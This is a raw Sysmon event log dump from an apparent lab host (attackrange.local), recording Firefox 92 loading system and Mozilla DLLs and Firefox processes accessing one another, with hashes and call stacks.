14:58:24.184{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000050335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.169{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\PROGRA~1\MOZILL~1\osclientcerts.dll92.0-FirefoxMozilla Foundationosclientcerts.dllMD5=0F78647D428CB857ADFA29C85D7A11DD,SHA256=97D82E017DE8F46A1070C6FA7BD3FEBBFF6FC1153BE57F161C03E27EEBED91FA,IMPHASH=AE2A83FF01847D05C6EFE5C74164B268trueMozilla CorporationValid 734700x800000000000000050334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.184{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\iertutil.dll11.00.14393.4467 (rs1_release.210604-1844)Run time utility for Internet ExplorerInternet ExplorerMicrosoft CorporationIeRtUtil.dllMD5=1D608361848C3A3AC56488995E8D0BB1,SHA256=D95DE5DBAD08E22CB0CFB9322220E752F16124C15867F7748E4D64795E400EBF,IMPHASH=BB80FB0B79AB68B9AA174726B09C8CE9trueMicrosoft WindowsValid 734700x800000000000000050333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.184{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntasn1.dll10.0.14393.0 (rs1_release.160715-1616)Microsoft ASN.1 APIMicrosoft® Windows® Operating SystemMicrosoft Corporationntasn1.dllMD5=A45B23E8D2623CE3F760377766AF3E24,SHA256=E0A8F5055CD9E2AF029B8537E09EFFAF1F46C724CB720A6395DCF563EF70B843,IMPHASH=EAA4328F5E33714FA08C71E4AAE43CC1trueMicrosoft WindowsValid 734700x800000000000000050332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.169{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ncrypt.dll10.0.14393.4046 (rs1_release.201028-1803)Windows NCrypt RouterMicrosoft® Windows® Operating SystemMicrosoft Corporationncrypt.dllMD5=025DBE9D0F7AE719C64DE3A4555A7C0A,SHA256=1A223828A444E7797A9E00632DAE81AC3AC68B38786E67912B1C3FC6118FB6B4,IMPHASH=B6A1A16A2B5E910045E998CD7709E966trueMicrosoft WindowsValid 734700x800000000000000050331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.169{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\PROGRA~1\MOZILL~1\nssckbi.dll92.0-FirefoxMozilla Foundationnssckbi.dllMD5=61A59F97033EB3CE19B79957EFD7D355,SHA256=B7C763526CA80E3CF3F45CEB86F4804E132C4C0C7E740A608392AA057BCBF3A7,IMPHASH=5986500029C9F7E013CB3FF371CB6F5EtrueMozilla CorporationValid 10341000x800000000000000050330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.169{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+172d316|UNKNOWN(00000272BD6E1E84) 10341000x800000000000000050329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.169{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+172d316|UNKNOWN(00000272BD6E1E84) 10341000x800000000000000050328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.169{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+1b66eb1|C:\Program Files\Mozilla Firefox\xul.dll+1d25fa7|UNKNOWN(00000272BD6E3E5F) 734700x800000000000000050327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.169{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wininet.dll11.00.14393.4583 (rs1_release.210730-1850)Internet Extensions for Win32Internet ExplorerMicrosoft Corporationwininet.dllMD5=524876363DA8F469C13E0818256B6131,SHA256=DAA85FEAB4553D9A203A85A58C8CB26A2784E0D33226B41AAE98471DAE75C035,IMPHASH=B3ABC7D59C2B1ACAEECA63C53B0AAC4BtrueMicrosoft WindowsValid 10341000x800000000000000050326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.169{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a47238|C:\Program Files\Mozilla Firefox\xul.dll+e4bf58|C:\Program Files\Mozilla Firefox\xul.dll+215d1b|C:\Program Files\Mozilla Firefox\xul.dll+c97ea4|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147|C:\Program Files\Mozilla Firefox\xul.dll+1b52aff|C:\Program Files\Mozilla Firefox\xul.dll+73e84|C:\Program Files\Mozilla Firefox\xul.dll+12470d8|C:\Program Files\Mozilla Firefox\xul.dll+8ad21|C:\Program Files\Mozilla Firefox\xul.dll+8ac78|C:\Program Files\Mozilla Firefox\xul.dll+abdcbe|C:\Program Files\Mozilla Firefox\xul.dll+8723f|C:\Program Files\Mozilla Firefox\xul.dll+c2fb2b|C:\Program Files\Mozilla Firefox\xul.dll+16f2f82|C:\Program Files\Mozilla Firefox\xul.dll+1bb4759|C:\Program Files\Mozilla Firefox\xul.dll+1b5f3a6|C:\Program Files\Mozilla Firefox\xul.dll+177b82f|C:\Program Files\Mozilla Firefox\xul.dll+19eeeaf 734700x800000000000000050325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.156{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\freebl3.dll92.0-FirefoxMozilla Foundationfreebl3.dllMD5=8E708A178EA76DAFDA64D6B9290725BA,SHA256=3480BF27277E603806C794CA9378C5EC6E1B41B77432E828D79E846DD64E5DCD,IMPHASH=53652A7DC9DFE48EFEF7CDBD318659AFtrueMozilla CorporationValid 734700x800000000000000050324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.156{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\softokn3.dll92.0-FirefoxMozilla Foundationsoftokn3.dllMD5=D4C21A21AB0C94C96C3B64D447A6B5CD,SHA256=478EEA8D567BCF9226719A080A0C52F6EE13FAAA7E12274778758C7BBE4A7455,IMPHASH=8217C8B17239D6236F43DE3AC007B8A6trueMozilla CorporationValid 10341000x800000000000000050323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+fd0c4c|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572 10341000x800000000000000050316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+fd0c4c|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572 10341000x800000000000000050315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+fd0c4c|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572 10341000x800000000000000050314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47766624C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a02441|C:\Program Files\Mozilla Firefox\xul.dll+a63798|C:\Program Files\Mozilla Firefox\xul.dll+ce8b1|C:\Program Files\Mozilla Firefox\xul.dll+19cb8d2|C:\Program Files\Mozilla Firefox\xul.dll+173c649|C:\Program Files\Mozilla Firefox\xul.dll+166f6b9|C:\Program Files\Mozilla Firefox\xul.dll+26cc2|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+8ae017|C:\Program Files\Mozilla Firefox\nss3.dll+77cbd|C:\Program Files\Mozilla Firefox\nss3.dll+8ec81|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.137{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla 